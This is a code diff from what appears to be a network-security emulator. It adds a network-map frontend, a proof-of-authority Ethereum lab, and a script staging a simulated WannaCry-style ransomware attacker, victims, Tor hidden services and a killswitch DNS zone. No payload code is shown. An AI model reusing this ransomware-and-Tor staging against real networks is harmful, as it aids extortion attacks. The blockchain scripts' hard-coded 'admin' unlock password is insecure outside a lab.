infoPlate.appendChild(this._createInfoPlateValuePair('Type', net.meta.emulatorInfo.type)); + infoPlate.appendChild(this._createInfoPlateValuePair('Prefix', net.meta.emulatorInfo.prefix)); + } + + if (vertex.type == 'node') { + let node = vertex.object as EmulatorNode; + title.innerText = `${node.meta.emulatorInfo.role == 'Router' ? 'Router' : 'Host'}: ${vertex.label}`; + + if (node.meta.emulatorInfo.description) { + let div = document.createElement('div'); + div.innerText = node.meta.emulatorInfo.description; + div.classList.add('description'); + + infoPlate.appendChild(div); + } + + infoPlate.appendChild(this._createInfoPlateValuePair('ID', node.Id.substr(0, 12))); + infoPlate.appendChild(this._createInfoPlateValuePair('ASN', node.meta.emulatorInfo.asn.toString())); + infoPlate.appendChild(this._createInfoPlateValuePair('Name', node.meta.emulatorInfo.name)); + infoPlate.appendChild(this._createInfoPlateValuePair('Role', node.meta.emulatorInfo.role)); + + let ipAddresses = document.createElement('div'); + ipAddresses.classList.add('section'); + + let ipTitle = document.createElement('div'); + ipTitle.className = ' title'; + ipTitle.innerText = 'IP addresses'; + + ipAddresses.appendChild(ipTitle); + + node.meta.emulatorInfo.nets.forEach(net => { + ipAddresses.appendChild(this._createInfoPlateValuePair(net.name, net.address)); + }); + + infoPlate.appendChild(ipAddresses); + + if (node.meta.emulatorInfo.role == 'Router' || node.meta.emulatorInfo.role == 'Route Server') { + let bgpDetails = document.createElement('div'); + bgpDetails.classList.add('section'); + + let peers = await this._datasource.getBgpPeers(node.Id); + + let bgpTitle = document.createElement('div'); + bgpTitle.className = 'title'; + bgpTitle.innerText = 'BGP sessions'; + + bgpDetails.appendChild(bgpTitle); + + if (peers.length == 0) { + let noPeers = document.createElement('div'); + noPeers.innerText = 'No BGP peers.'; + noPeers.classList.add('caption'); + + bgpDetails.appendChild(noPeers); + } + + peers.forEach(peer => { + let container = document.createElement('div'); + + let peerName = document.createElement('span'); + peerName.classList.add('label'); + peerName.innerText = peer.name; + + let peerStatus = document.createElement('span'); + peerStatus.innerText = peer.protocolState != 'down' ? peer.bgpState : 'Disabled'; + + let peerAction = document.createElement('a'); + + peerAction.href = '#'; + peerAction.classList.add('inline-action-link'); + peerAction.innerText = peer.protocolState != 'down' ? 'Disable' : 'Enable'; + peerAction.onclick = async () => { + await this._datasource.setBgpPeers(node.Id, peer.name, peer.protocolState == 'down'); + this._infoPlateElement.classList.add('loading'); + window.setTimeout(() => { + this._updateInfoPlateWith(node.Id); + }, 100); + }; + + container.appendChild(peerName); + container.appendChild(peerStatus); + container.appendChild(peerAction); + + bgpDetails.appendChild(container); + }); + + infoPlate.appendChild(bgpDetails); + } + + let actions = document.createElement('div'); + actions.classList.add('section'); + + let actionTitle = document.createElement('div'); + actionTitle.className = 'title'; + actionTitle.innerText = 'Actions'; + + actions.appendChild(actionTitle); + + let consoleLink = document.createElement('a'); + + consoleLink.href = '#'; + consoleLink.innerText = 'Launch console'; + consoleLink.classList.add('action-link'); + + consoleLink.onclick = () => { + this._windowManager.createWindow(node.Id.substr(0, 12), vertex.label); + }; + + let netToggle = document.createElement('a'); + let netState = await this._datasource.getNetworkStatus(node.Id); + + netToggle.href = '#'; + netToggle.innerText = netState ? 'Disconnect' : 'Re-connect'; + netToggle.onclick = async () => { + if (netState && node.meta.emulatorInfo.role == 'Host') { + let ok = window.confirm('You are about to disconnect a host node. Note that disconnecting nodes flush their routing table - for host nodes, this includes the default route. You will need to manually re-add the default route if you want to re-connect the host.\n\nProceed anyway?'); + if (!ok) { + return; + } + } + await this._datasource.setNetworkStatus(node.Id, !netState); + this._infoPlateElement.classList.add('loading'); + window.setTimeout(() => { + this._updateInfoPlateWith(node.Id); + }, 100); + }; + netToggle.classList.add('action-link'); + + let reloadLink = document.createElement('a'); + + reloadLink.href = '#'; + reloadLink.innerText = 'Refresh'; + reloadLink.classList.add('action-link'); + reloadLink.onclick = () => { + this._updateInfoPlateWith(node.Id); + }; + + actions.append(consoleLink); + actions.append(netToggle); + actions.append(reloadLink); + + infoPlate.appendChild(actions); + } + + this._infoPlateElement.innerText = ''; + this._infoPlateElement.appendChild(infoPlate); + this._infoPlateElement.classList.remove('loading'); + } + + /** + * map mac addresses to networks. + */ + private _mapMacAddresses() { + this._nodes.forEach(vertex => { + if (vertex.type != 'node') { + return; + } + + let node = vertex.object as EmulatorNode; + + Object.keys(node.NetworkSettings.Networks).forEach(key => { + let net = node.NetworkSettings.Networks[key]; + this._macMapping[net.MacAddress] = net.NetworkID; + }); + }); + } + + private _updateReplayControls() { + if (this._replayStatus === 'playing' || this._replayStatus === 'paused') { + this._replayButton.disabled = false; + this._recordButton.disabled = true; + this._stopButton.disabled = false; + this._forwardButton.disabled = false; + this._backwardButton.disabled = false; + this._replaySeekBar.disabled = false; + this._interval.disabled = this._replayStatus === 'playing'; + + this._replaySeekBar.max = (this._playlist.length - 1).toString(); + this._replayButton.innerHTML = this._replayStatus === 'playing' ? '' : ''; + this._recordButton.innerHTML = ''; + } + + if (this._replayStatus === 'stopped') { + this._replayButton.disabled = this._recording; + this._recordButton.disabled = false; + this._stopButton.disabled = true; + this._forwardButton.disabled = true; + this._backwardButton.disabled = true; + this._replaySeekBar.disabled = true; + this._interval.disabled = false; + + this._replayButton.innerHTML = ''; + this._recordButton.innerHTML = this._recording ? '' : ''; + } + } + + /** + * stop replay + */ + private _replayStop() { + if (this._replayStatus === 'stopped') { + return; + } + + this._replayStatus = 'stopped'; + window.clearTimeout(this._replayTask); + + // un-flash nodes. + let unflashRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, borderWidth: 1 + } + }); + this._nodes.update(unflashRequest); + this._flashingNodes.clear(); + this._updateReplayControls(); + this._replayStatusText.innerText = 'Replay stopped.'; + } + + /** + * seek to a specific time + * @param offset offset from current time. + * @param absolute offset is absolute time. + */ + private _replaySeek(offset: number, absolute: boolean = false) { + if (this._replayStatus === 'stopped') { + return; + } + + this._replayStatus = 'paused'; + this._updateReplayControls(); + + if (absolute) { + this._replayPos = offset; + } else { + this._replayPos += offset; + } + + this._doReplay(true); + } + + /** + * toggle recording. + */ + private _recordStartStop() { + if (this._replayStatus !== 'stopped') { + return; + } + + if (this._recording) { + this._recording = false; + this._replayStatusText.innerText = 'Replay stopped.'; + this._recordButton.innerHTML = ''; + this._updateReplayControls(); + } else { + this._events = []; + this._recording = true; + this._replayStatusText.innerText = 'Recording events...'; + this._recordButton.innerHTML = ''; + this._updateReplayControls(); + } + } + + private _buildPlayList() : PlaylistItem[] { + let refDate = new Date(); + + let playlist: PlaylistItem[] = []; + + this._events.forEach(e => { + e.lines.forEach(line => { + let time = line.split(' ')[0]; + let [ h, m, _s ] = time.split(':'); + + if (!h || !m || !_s) { + return; + } + + let [ s, ms ] = _s.split('.'); + + let nodes: string[] = [e.source]; + let added: Set = new Set(); + let date = new Date(refDate.getFullYear(), refDate.getMonth(), refDate.getDate(), parseInt(h), parseInt(m), parseInt(s), parseInt(ms)); + + Object.keys(this._macMapping).forEach(mac => { + if (line.includes(mac) && !added.has(mac)) { + added.add(mac); + + let nodeId = this._macMapping[mac]; + + if (this._nodes.get(nodeId) === null) { + return; + } + + nodes.push(nodeId); + } + }); + + playlist.push({ nodes: nodes, at: date.valueOf() }); + }); + + }); + + return playlist.sort((a, b) => a.at - b.at); + } + + /** + * toggle play / pause replay. + */ + private _replayPlayPause() { + if (this._recording) { + return; + } + + if (this._replayStatus === 'stopped') { + this._replayPos = 0; + this._replayStatusText.innerText = 'Replay stopped.'; + this._replayStatus = 'playing'; + this._playlist = this._buildPlayList(); + this._doReplay(); + this._updateReplayControls(); + } else if (this._replayStatus === 'playing') { + this._replayStatus = 'paused'; + this._updateReplayControls(); + } else if (this._replayStatus === 'paused') { + this._replayStatus = 'playing'; + this._updateReplayControls(); + } + } + + private _doReplay(once: boolean = false) { + // not playing. + if (this._replayStatus === 'stopped') { + return; + } + + if (!once) { + this._replayTask = window.setTimeout(() => this._doReplay(), Number.parseInt(this._interval.value)); + } + + this._replayStatusText.innerText = `${this._replayStatus === 'paused' ? 'Paused' : 'Playing'}: ${this._replayPos}/${this._playlist.length} event(s) left.`; + + if (!this._seeking) { + this._replaySeekBar.value = this._replayPos.toString(); + } + + // reached the end. + if (this._replayPos >= this._playlist.length) { + this._replayStatus = 'paused'; + this._replayStatusText.innerText = 'End of record.'; + this._replaySeekBar.value = '0'; + this._replayPos = 0; + this._updateReplayControls(); + return; + } + + // un-flash nodes. + let unflashRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, borderWidth: 1 + } + }); + this._nodes.update(unflashRequest); + this._flashingNodes.clear(); + + // flash nodes from this event. + let current = this._playlist[this._replayPos]; + current.nodes.forEach(node => this._flashingNodes.add(node)); + let flashRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, borderWidth: 4 + } + }); + this._nodes.update(flashRequest); + + if (this._replayStatus === 'playing') { + ++this._replayPos; + } + } + + /** + * connect datasource, start mapping, and start the log/flash workers. + */ + async start() { + await this._datasource.connect(); + this.redraw(); + this._mapMacAddresses(); + + if (this._filterMode == 'filter') { + this._filterInput.value = await this._datasource.getSniffFilter(); + } + + this._logPrinter = window.setInterval(() => { + var scroll = false; + + while (this._logQueue.length > 0) { + scroll = true; + this._logBody.appendChild(this._logQueue.shift()); + } + + if (scroll && this._logAutoscroll.checked && !this._logDisable.checked) { + this._logView.scrollTop = this._logView.scrollHeight; + } + }, 500); + + this._flasher = window.setInterval(() => { + this._flashNodes(); + }, 500); + } + + /** + * disconnect datasource and stop log/flash worker. + */ + stop() { + this._datasource.disconnect(); + window.clearInterval(this._logPrinter); + window.clearInterval(this._flasher); + } + + /** + * redraw map. + */ + redraw() { + this._edges = new DataSet(this._datasource.edges); + this._nodes = new DataSet(this._datasource.vertices); + + var groups = {}; + + this._datasource.groups.forEach(group => { + groups[group] = { + color: { + border: '#000', + background: this._randomColor() + } + } + }); + + this._graph = new Network(this._mapElement, { + nodes: this._nodes, + edges: this._edges + }, { + groups + }); + + this._graph.on('click', (ev) => { + this._suggestions.innerText = ''; + this._moveSuggestionSelection('clear'); + + if (ev.nodes.length <= 0) { + return; + } + + this._updateInfoPlateWith(ev.nodes[0]); + }); + } +} diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/tsconfig.json b/examples/not-ready-examples/25-wannacry/map/frontend/tsconfig.json new file mode 100644 index 000000000..42323d42f --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/tsconfig.json @@ -0,0 +1,15 @@ +{ + "compilerOptions": { + "module": "esnext", + "target": "es5", + "removeComments": true, + "preserveConstEnums": true, + "sourceMap": true, + "outDir": "public/", + "moduleResolution": "node", + "allowSyntheticDefaultImports": true, + "downlevelIteration": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules"] +} diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/webpack.config.js b/examples/not-ready-examples/25-wannacry/map/frontend/webpack.config.js new file mode 100644 index 000000000..bf4f59a91 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/webpack.config.js @@ -0,0 +1,48 @@ +const path = require('path'); + +let config = { + entry: { + index: './src/index/index.ts', + console: './src/console/console.ts', + map: './src/map/map.ts' + }, + module: { + rules: [ + { + test: /\.css$/i, + use: ['style-loader', 'css-loader'], + }, + { + test: /\.ts$/i, + use: ['ts-loader'], + }, + { + test: /\.(woff(2)?|ttf|eot|svg)(\?v=\d+\.\d+\.\d+)?$/, + use: [ + { + loader: 'file-loader', + options: { + name: '[name].[ext]', + outputPath: 'fonts/' + } + } + ] + } + ], + }, + resolve: { + extensions: ['.ts', '.js'], + }, + output: { + filename: '[name].js', + path: path.resolve(__dirname, 'public'), + }, +}; + +module.exports = (env, argv) => { + if (argv.mode === 'development') { + config.devtool = 'source-map'; + } + + return config; +}; diff --git a/examples/not-ready-examples/25-wannacry/map/start.sh b/examples/not-ready-examples/25-wannacry/map/start.sh new file mode 100644 index 000000000..6a4ab6ebe --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/start.sh @@ -0,0 +1,3 @@ +#!/bin/sh +cd /usr/src/app/backend +while true; do node ./bin/main.js; done diff --git a/examples/not-ready-examples/25-wannacry/wannacry.py b/examples/not-ready-examples/25-wannacry/wannacry.py new file mode 100755 index 000000000..4fc6bc63e --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/wannacry.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from Lib.RansomwareService import RansomwareClientService, RansomwareService, RansomwareServerFileTemplates +from Lib.TorService import * + +from seedemu.core.Emulator import * +from seedemu.services.DomainNameService import * +from seedemu.services.DomainNameCachingService import * +from seedemu.core.Binding import Action, Filter, Binding +from seedemu.layers.Base import Base +from seedemu.core.Node import * +from seedemu.compiler.Docker import * +import random +import os + + +emu = Emulator() + +# Load the base layer from the mini Internet example +emu.load('./base-component.bin') +base: Base = emu.getLayer("Base") + +# Create a Ransomware Service +ransomware = RansomwareService() +ransomware.install('ransom-attacker').supportBotnet(False).supportTor(False) +emu.getVirtualNode('ransom-attacker').setDisplayName('Ransom-Attacker') +base.getAutonomousSystem(170).createHost('ransom-attacker').joinNetwork('net0', address='10.170.0.99') +emu.addBinding(Binding("ransom-attacker", filter=Filter(asn=170, nodeName='ransom-attacker'))) + +victim = RansomwareClientService() + +for i in range(1, 17): + victim_name = 'victim-{}'.format(i) + display_name = 'Ransom-Victim-{}'.format(i) + victim.install(victim_name).supportBotnet(False) + emu.getVirtualNode(victim_name).setDisplayName(display_name) + emu.addBinding(Binding(victim_name, filter=Filter(nodeName="host"), action=Action.RANDOM)) + +################################################################# +# Create a Tor component + +# Create the Tor service layer +tor = TorService() + +# Different types of Tor nodes (virtual nodes) +vnodes = { + "da-1": TorNodeType.DA, + "da-2": TorNodeType.DA, + "da-3": TorNodeType.DA, + "da-4": TorNodeType.DA, + "da-5": TorNodeType.DA, + "client-1": TorNodeType.CLIENT, + "client-2": TorNodeType.CLIENT, + "relay-1": TorNodeType.RELAY, + "relay-2": TorNodeType.RELAY, + "relay-3": TorNodeType.RELAY, + "relay-4": TorNodeType.RELAY, + "exit-1": TorNodeType.EXIT, + "exit-2": TorNodeType.EXIT, + "hidden-service": TorNodeType.HS +} + +# Create the virtual nodes +for i, (name, nodeType) in enumerate(vnodes.items()): + if nodeType == TorNodeType.HS: + # Create 3 hidden services as bot-controller opens 4 ports (445, 446, 447, 448) + tor.install(name).setRole(nodeType).linkByVnode("ransom-attacker", [445, 446, 447, 448]) + else: + tor.install(name).setRole(nodeType) + + # Customize the display names. + emu.getVirtualNode(name).setDisplayName("Tor-{}".format(name)) + +# Bind virtual nodes to physical nodes +as_list = [150, 151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171] +for i, (name, nodeType) in enumerate(vnodes.items()): + # Pick an autonomous system randomly from the list, + # and create a new host for each Tor node + asn = random.choice(as_list) + emu.addBinding(Binding(name, filter=Filter(asn=asn, nodeName=name), action=Action.NEW)) + + +################################################################# +# Create a DNS layer +dns = DomainNameService() + +# Create one nameserver for the root zone +dns.install('root-server').addZone('.') + +# Create nameservers for TLD and ccTLD zones +dns.install('com-server').addZone('com.') +dns.install('edu-server').addZone('edu.') + +# Create nameservers for second-level zones +dns.install('ns-syr-edu').addZone('syr.edu.') +dns.install('killswitch').addZone('iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com.') + +# Add records to zones +dns.getZone('syr.edu.').addRecord('@ A 128.230.18.63') +#dns.getZone('iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com.').addRecord('@ A 5.5.5.5').addRecord('www A 5.5.5.5') + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('root-server').setDisplayName('Root') +emu.getVirtualNode('com-server').setDisplayName('COM') +emu.getVirtualNode('edu-server').setDisplayName('EDU') +emu.getVirtualNode('ns-syr-edu').setDisplayName('syr.edu') +emu.getVirtualNode('killswitch').setDisplayName('killswitch') + +# Bind the virtual nodes in the DNS infrastructure layer to physical nodes. +emu.addBinding(Binding('root-server', filter=Filter(asn=171), action=Action.NEW)) +emu.addBinding(Binding('com-server', filter=Filter(asn=150), action=Action.NEW)) +emu.addBinding(Binding('edu-server', filter=Filter(asn=152), action=Action.NEW)) +emu.addBinding(Binding('ns-syr-edu', filter=Filter(asn=154), action=Action.NEW)) +emu.addBinding(Binding('killswitch', filter=Filter(asn=161), action=Action.NEW)) + +# Create one local DNS server (virtual nodes). +ldns = DomainNameCachingService() +ldns.install('global-dns') + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('global-dns').setDisplayName('Global DNS') + +# Create new host in AS-153, use them to host the local DNS server. +as153 = base.getAutonomousSystem(153) +as153.createHost('local-dns').joinNetwork('net0', address = '10.153.0.53') + +# Bind the Local DNS virtual node to physical node +emu.addBinding(Binding('global-dns', filter=Filter(asn=153, nodeName='local-dns'))) + +# Add 10.153.0.53 as the local DNS server for all the other nodes +base.setNameServers(['10.153.0.53']) + + +emu.addLayer(ldns) +emu.addLayer(dns) +emu.addLayer(tor) +emu.addLayer(ransomware) +emu.addLayer(victim) +emu.render() + +# Use the "morris-worm-base" custom base image +docker = Docker() + +docker.addImage(DockerImage('morris-worm-base', [], local = True)) +docker.addImage(DockerImage('handsonsecurity/seed-ubuntu:large', [], local=False)) + +victim_nodes = base.getNodesByName('host') +for victim in victim_nodes: + docker.setImageOverride(victim, 'morris-worm-base') + +attacker_node = base.getNodesByName('ransom-attacker') +docker.setImageOverride(attacker_node[0], 'handsonsecurity/seed-ubuntu:large') + +emu.compile(docker, './output', override=True) + +os.system('cp -r container_files/morris-worm-base ./output') +os.system('cp -r container_files/z_start.sh ./output') +os.system('chmod a+x ./output/z_start.sh') diff --git a/examples/not-ready-examples/26-proof-of-authority/1_start.sh b/examples/not-ready-examples/26-proof-of-authority/1_start.sh new file mode 100755 index 000000000..01ebd2a8a --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/1_start.sh @@ -0,0 +1,9 @@ +sudo rm -rf base-component.bin component-blockchain.bin emulator +sleep 3 +./nano-internet.py +sleep 3 +./component-blockchain.py +sleep 3 +./blockchain.py +sleep 3 +(cd emulator && docker-compose build && docker-compose up) diff --git a/examples/not-ready-examples/26-proof-of-authority/2_bootstrapper.sh b/examples/not-ready-examples/26-proof-of-authority/2_bootstrapper.sh new file mode 100755 index 000000000..bf28bd0bd --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/2_bootstrapper.sh @@ -0,0 +1,12 @@ +# Run bootstrapper on all ethereum nodes +# All nodes need to be aware of the bootnodes +start=1 +end=$(docker ps | grep Ethereum | wc -l) +for (( node=$start; node<=$end; node++ )) +do + container=$(docker ps | grep "Ethereum-$node-" | awk '{print $1}') + docker exec -t -w /tmp $container bash eth-bootstrapper + sleep 1 + echo "Bootstrapper executed on node $node in container $container" + docker exec $container ls /tmp | grep eth-node-urls +done diff --git a/examples/not-ready-examples/26-proof-of-authority/3_geth_attach.sh b/examples/not-ready-examples/26-proof-of-authority/3_geth_attach.sh new file mode 100755 index 000000000..f6df28654 --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/3_geth_attach.sh @@ -0,0 +1,11 @@ +# Run geth on all containers +start=1 +end=$(docker ps | grep Ethereum | wc -l) +for (( node=$start; node<=$end; node++ )) +do + container=$(docker ps | grep "Ethereum-$node-" | awk '{print $1}') + (docker exec -td -w /tmp $container bash run.sh) & + echo "Geth executed on node $node in container $container" +done + +echo "Done running ethereum nodes" diff --git a/examples/not-ready-examples/26-proof-of-authority/4_unlock_and_seal.sh b/examples/not-ready-examples/26-proof-of-authority/4_unlock_and_seal.sh new file mode 100755 index 000000000..e0b6589f1 --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/4_unlock_and_seal.sh @@ -0,0 +1,16 @@ +# Only unlock and run the miners/sealers +# In component-blockchain.py, i am using mod 3 +# These are the same commands for both proof of work and proof of authority +start=1 +end=$(docker ps | grep Ethereum | wc -l) + +echo "Unlocking sealers ..." +for (( node=$start; node<=$end; node++ )) +do + if (($node % 3)); then + container=$(docker ps | grep "Ethereum-$node-" | awk '{print $1}') + docker exec -t $container geth attach --exec "personal.unlockAccount(eth.coinbase, 'admin', 0)" + docker exec -t $container geth attach --exec "miner.start(1)" + echo "Unlocked sealer in node $node and started sealing" + fi +done diff --git a/examples/not-ready-examples/26-proof-of-authority/README.md b/examples/not-ready-examples/26-proof-of-authority/README.md new file mode 100644 index 000000000..a291312e4 --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/README.md @@ -0,0 +1,141 @@ +## Features +- Manual execution +- Selecting a consensus mechanism +- Creating prefunded accounts + +## Manual exection part 1 +- The feature was added to understand the underlying logic of the blockchain emulator +- Like any other blockchain example, start by running `mini-internet.py`. You should find in your directory a `base-component.bin` +- After that, you need to update your `component-blockchain.py` +- At the top of the `component-blockchain.py`, you can find the python statements which creates a new instance of the `EthereumService` +- This constructor takes as one of its parameters the `manual` flag. +- This flag has a default value of `False`, so if it is not explicitely set as `True` as the constructor parameter, the blockchain execution will be automated by us. +- The file should look something like the picture below + +![Manual mode](images/manual-mode.png) + +## Selecting a consensus mechanism +- We provide two APIs to select the consensus mechanism: `setBaseConsensusMechanism` and `setBaseConsensusMechanism` +- The former API is a method of the EthereumService class +- It is called in the following way: `eth.setBaseConsensusMechanism()` +- The `` parameter can as of know be one of two values: `ConsensusMechanism.POA` or `ConsensusMechanism.POW`. This is because we only support the `Proof of authority (clique)` and the `Proof of work`. +- The `setBaseConsensusMechanism` API is applied on all the ethereum nodes unless we set a different consensus on a certain node using the `setConsensusMechanism`. +- To apply a certain consensus to a virtual node, we would do it in this way: `e = e.install("eth"); e.setConsensusMechanism()` + +## Port Forwarding +- We currently open two ports on the containers when our `geth` command runs on the containers +- Port 8545 which is the default HTTP port. This one is used to connect the Remix IDE to our emulator and for the jsonrpc request done to fetch the signers of a certain block for our visualization. +- Remix can only connect to an http endpoint which is a Web3 provider, and the jsonrcp request needs to be an http post request. +- Port 8546 which is the default WS port. This one is used for the visualization as event subscriptions are only supported when connected using websockets + +## Creating prefunded accounts + +## component-blockchain.py output +- After configuring your network, the output of this file should should be similar to the picture below + +![Component output](images/component-blockchain-output.png) + +## Building the example +- At this point we should run the `blockchain.py` file which will generate an `emulator` folder +- Go to the folder and run `dcbuild` and `dcup` +- You will know that the emulator is ready when you see an output similar to the picture below + +![Emulator ready](images/emulator-ready.png) + +## Manual execution part 2 +- At this point, it is only the emulator that is running. We need to run the bash scripts on our host machine to trigger the blockchain execution +- We provide 3 bash scripts: `2_bootstrapper.sh`, `3_geth_attach.sh`, `4_unlock_and_seal.sh` +- You need to run these files sequentially +- `2_bootstrapper.sh` makes sure all containers have the bootnodes urls inside a file called `eth-node-urls` +- Once you run this file, you should see an output similar to the picture below + +![Bootstrapper done](images/bootstrapper-done.png) + + +- `3_geth_attach.sh` runs the `geth` command to run the ethereum nodes on each container +- It is only after you run the `geth` command on the containers that the blockchain network starts running +- Once you run this file, you shoud see an output similar to the picture below + +![Geth attach done](images/geth-attach-done.png) + +- You should also see the following output on the same terminal you used the `dcup` command + +![Blockchain running](images/blockchain-running.png) + +- `4_unlock_and_seal.sh` unlocks the ethereum accounts inside the containers and runs the miner/sealer +- Once you run this file, you should see an output similar to the picture below + +![Unlock and seal](images/unlock-and-seal.png) + +## Proof of authority Keywords +- Signers/sealers/validators/authorized users: These represent the same people who sign blocks and transactions + +## Proof of authrority introduction + +- Consensus mechanisms are used to validate the authenticity of transactions and maintain the security of the underlying blockchain. In Proof of work, miners need to provide the solution to a hashing problem called the nonce, and get a hash that meets certain requirements. This is the proof that the miner did the required work and spent/used the necessary resources to do so. In Proof of authority, Transactions and blocks are validated by approved accounts, known as validators. These validators need to have a clean reputation to be added to the list of authorized user, and any malicious action they conduct results in them being kicked out of this list. +- POA, was implemented as a solution and replacement for the proof of work consensus mechanism. This scheme is based on the idea that blocks may only be minted by trusted signers. Every block (or header) that a client sees can be matched against the list of trusted signers. + +## Challenge +- The challenge and the bulk of the work is to maintain a list of authorized signers that can change in time alwhile using PoW as a base + +## Approach +- This algorithm makes use of the PoW base by redefining certain block headers and making use of obsolete ones that are not meaningful in the PoA context +- These fields are the extraData, the miner, the nonce, the difficulty, and more. + +## Extended field: extradata +- Initially 32 bytes in PoW +- Extended with 65 bytes in PoA +- It is composed of 3 parts now: vanity bytes/list of sealers/sealers signature +- The block sealer’s signature is added to the third part of the extradata field instead of updating the "miner" field +- It is filled with 0s in the genesis + +## Obsolete fields + +- The Miner field is obsolete for obvious reasons; there are no miners in PoA +- The Nonce is obsolete as there is no solving to be done in PoA +- During regular blocks, both fields would be set to zero +- If a signer wishes to do a change to the list of authorized signers, he will cast a vote by: + - Setting the miner property as his target + - Setting the nonce property to 0x00...0 or 0xff...f to either vote in or vote out his target +- All the sealers can now have the update list of authorized users at any point of time by going through all the votes. + + +## Epoch block +- Default epoch length is 30000 blocks +- Every epoch transition acts as a checkpoint containing the current signers + - Block contains no votes + - Block contains the list of current authorities + - All non-settled votes are discarded +- This allows to fully define the genesis and the list of initial sealers +- This allows users to go to the nearest checkpoint instead of going to the genesis block to figure out what the current list of signers is. + +## In-turn vs out-turn validator +- Time is transformed into discrete steps in the proof of authority consensus mechanism +- A step length, in unix time, is decided on at the start e.g. 5 unix time +- The current time, in unix, keeps increasing and we calculate the current step by dividing the current time with the step length e.g. `current time: 100, step length 5, current step: 100/5 = 20` +- All sealers are allowed to vote at anytime, but each sealer has a time in which he is the prefered one, hence the name "inturn" validator. +- Every sealer can figure out if he is an inturn validator or not by using the following formula: `index = s % n` where s is the current step and n is the number of authorized users at the current time. +- Assuming we are at step 1 and we have a total of 5 sealers, then validator[1%5] is considered to be inturn +- This follows a round robin approach + +## Block authorization +- As mentioned above, all sealers are allowed to sign at anytime even if they are outturn ones. +- This is because we might have offline inturn validator and the blockchain needs to make sure to maintain the block throughput +- A block is minted every 15s when using proof of authority. This is defined by a constant called `BLOCK_PERIOD` +- For an Inturn validator, the next block should be added at `parent + BLOCK_PERIDO` +- Inturn validators should wait for this exact moment to sign a block and propagate it +- Outturn validators will add another small delay in order to prioritize inturn validators. +- For an outturn validator, in case the inturn validator does not do his job properly, the next block will be added at `parent + BLOCK_PERIOD + rand(number_of_signers * 500ms)` + +## Difficulty +- The difficulty is also an obsolete concept in proof of authority +- When signing a block, an inturn validator will set the difficulty to 2 while an outturn validator will set his to 1 +- In case of any chain fork, the network wants to prioritize a chain which is mainly constructed by inturn validators + +## Some rules +- For a vote to pass, we need to have the majority of signers that approve on it +- There is not penalty for invalid votes for the simplicity of the algorithm +- If a signer votes the same target in or out in three different blocks, this vote is only taken into account once + + + diff --git a/examples/not-ready-examples/26-proof-of-authority/blockchain.py b/examples/not-ready-examples/26-proof-of-authority/blockchain.py new file mode 100755 index 000000000..28af7047f --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/blockchain.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.core import Emulator, Binding, Filter +from seedemu.mergers import DEFAULT_MERGERS +from seedemu.compiler import Docker +from os import mkdir, chdir, getcwd, path + + +emuA = Emulator() +emuB = Emulator() + +# Load the pre-built components and merge them +emuA.load('../B00-mini-internet/base-component.bin') +emuB.load('./component-blockchain.bin') +emu = emuA.merge(emuB, DEFAULT_MERGERS) + +# Binding virtual nodes to physical nodes +start=1 +end=16 +for i in range(start, end): + emu.addBinding(Binding('eth{}'.format(i))) + +output = './emulator' + +def createDirectoryAtBase(base:str, directory:str, override:bool = False): + cur = getcwd() + if path.exists(base): + chdir(base) + if override: + rmtree(directory) + mkdir(directory) + chdir(cur) + + +saveState = True +def updateEthStates(): + if saveState: + createDirectoryAtBase(output, "eth-states/") + for i in range(start, end): + createDirectoryAtBase(output, "eth-states/" + str(i)) + +# Render and compile +emu.render() + +# If output directory exists and override is set to false, we call exit(1) +# updateOutputdirectory will not be called +emu.compile(Docker(ethClientEnabled=False, clientEnabled=False), output) +updateEthStates() diff --git a/examples/not-ready-examples/26-proof-of-authority/component-blockchain.py b/examples/not-ready-examples/26-proof-of-authority/component-blockchain.py new file mode 100755 index 000000000..f9602fd60 --- /dev/null +++ b/examples/not-ready-examples/26-proof-of-authority/component-blockchain.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * + +emu = Emulator() + +# Create the Ethereum layer +# saveState=True: will set the blockchain folder using `volumes`, +# manual: requires you to trigger the /tmp/run.sh bash files in each container to lunch the ethereum nodes +# so the blockchain data will be preserved when containers are deleted. +# Note: right now we need to manually create the folder for each node (see README.md). +eth = EthereumService(saveState = True, manual=True) + +eth.setBaseConsensusMechanism(ConsensusMechanism.POA) + +# Create Ethereum nodes (nodes in this layer are virtual) +start=1 +end=15 +sealers=[] +bootnodes=[] +hport=8544 +#cport=8545 remix +cport=8546 # visualization + +# Currently the minimum amount to have to be a validator in proof of stake +balance = 32 * pow(10, 18) + +# Setting a third of nodes as bootnodes +for i in range(start, end): + e = eth.install("eth{}".format(i)) + if i%3 == 0: + e.setBootNode(True) + bootnodes.append(i) + else: + e.createPrefundedAccounts(balance, 1) + e.unlockAccounts().startMiner() + sealers.append(i) + + e.enableExternalConnection() # not recommended for sealers in production mode + emu.getVirtualNode('eth{}'.format(i)).setDisplayName('Ethereum-{}-poa'.format(i)).addPortForwarding(hport, cport) + hport = hport + 1 + +print("There are {} sealers and {} bootnodes".format(len(sealers), len(bootnodes))) +print("Sealers {}".format(sealers)) +print("Bootnodes {}".format(bootnodes)) + +start = end +end = start + 1 +for i in range(start, end): + e = eth.install("eth{}".format(i)) + 